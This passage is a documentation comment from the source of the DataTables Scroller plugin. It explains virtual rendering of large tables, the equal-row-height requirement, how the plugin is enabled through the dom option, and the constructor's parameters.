What the virtual rendering means * is that only the visible portion of the table (and a bit to either side to make * the scrolling smooth) is drawn, while the scrolling container gives the * visual impression that the whole table is visible. This is done by making use * of the pagination abilities of DataTables and moving the table around in the * scrolling container DataTables adds to the page. The scrolling container is * forced to the height it would be for the full table display using an extra * element. * * Note that rows in the table MUST all be the same height. Information in a cell * which expands on to multiple lines will cause some odd behaviour in the scrolling. * * Scroller is initialised by simply including the letter 'S' in the sDom for the * table you want to have this feature enabled on. Note that the 'S' must come * AFTER the 't' parameter in `dom`. * * Key features include: * <ul class="limit_length"> * <li>Speed! The aim of Scroller for DataTables is to make rendering large data sets fast</li> * <li>Full compatibility with deferred rendering in DataTables 1.9 for maximum speed</li> * <li>Display millions of rows</li> * <li>Integration with state saving in DataTables (scrolling position is saved)</li> * <li>Easy to use</li> * </ul> * * @class * @constructor * @global * @param {object} oDT DataTables settings object * @param {object} [oOpts={}] Configuration object for FixedColumns.
